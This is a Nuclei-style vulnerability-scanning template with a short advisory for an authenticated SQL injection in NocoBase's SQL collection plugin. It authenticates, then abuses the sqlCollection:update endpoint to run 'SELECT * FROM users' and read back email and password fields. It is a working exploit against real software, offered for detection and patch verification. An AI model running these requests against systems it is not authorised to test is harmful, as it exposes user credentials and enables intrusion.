NocoBase @nocobase/plugin-collection-sql versions prior to 2.0.39 are vulnerable to SQL injection via the sqlCollection:update endpoint. The checkSQL() function, which blocks dangerous SQL keywords and ensures only SELECT statements are allowed, is not called during collection updates.
PoC
id: CVE-2026-41641
info:
name: NocoBase - SQL Injection
author: theamanrawat
severity: high
description: |
NocoBase @nocobase/plugin-collection-sql versions prior to 2.0.39 are vulnerable to SQL injection via the sqlCollection:update endpoint. The checkSQL() function, which blocks dangerous SQL keywords and ensures only SELECT statements are allowed, is not called during collection updates.
remediation:
Upgrade NocoBase to version 2.0.39 or later
reference:
- https://github.com/advisories/GHSA-wrwh-c28m-9jjh
- https://nvd.nist.gov/vuln/detail/CVE-2026-41641
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2026-41641
epss-score: 0.01833
epss-percentile: 0.77818
cwe-id: CWE-89
metadata:
max-request: 5
verified: true
vendor: nocobase
product: nocobase
tags: cve,cve2026,sqli,nocobase,sqli,authenticated
flow: http(1) && http(2) && http(3) || http(4)
variables:
name: "{{randstr}}"
http:
- raw:
- |
POST /api/auth:signIn HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"account":"{{username}}","password":"{{password}}"}
extractors:
- type: regex
name: token
part: body
internal: true
regex:
- '"token":"([^"]+)"'
group: 1
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
condition: and
internal: true
- raw:
- |
POST /api/collections:create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Bearer {{token}}
{"name":"{{name}}","sql":"SELECT 1 as id","fields":[{"name":"id","type":"integer"}],"template":"sql"}
- |
POST /api/sqlCollection:update?filterByTk={{name}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Bearer {{token}}
{"sql":"SELECT * FROM users","fields": [ {"name": "id", "type": "integer"}, {"name": "email", "type": "string"}, {"name": "password", "type": "string"}]}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
condition: and
internal: true
- raw:
- |
GET /api/{{name}}:list HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Bearer {{token}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "email", "password")'
condition: and
- method: GET
path:
- "{{BaseURL}}/api/app:getInfo"
extractors:
- type: regex
name: version
part: body
regex:
- '"version":"(.*?)"'
group: 1
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "\"dialect\"", "\"version\"")'
- 'compare_versions(version, "<2.0.39")'
condition: and
# digest: 4a0a004730450220173d87465fd095f1e93c0640c6db587bb7bf22951cfc6af4be7dcbfe85ac87b7022100ae2d39ec5f547543d61a03de7bf83ea01fd363ec6dc5dad2cc4886a710db185f:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.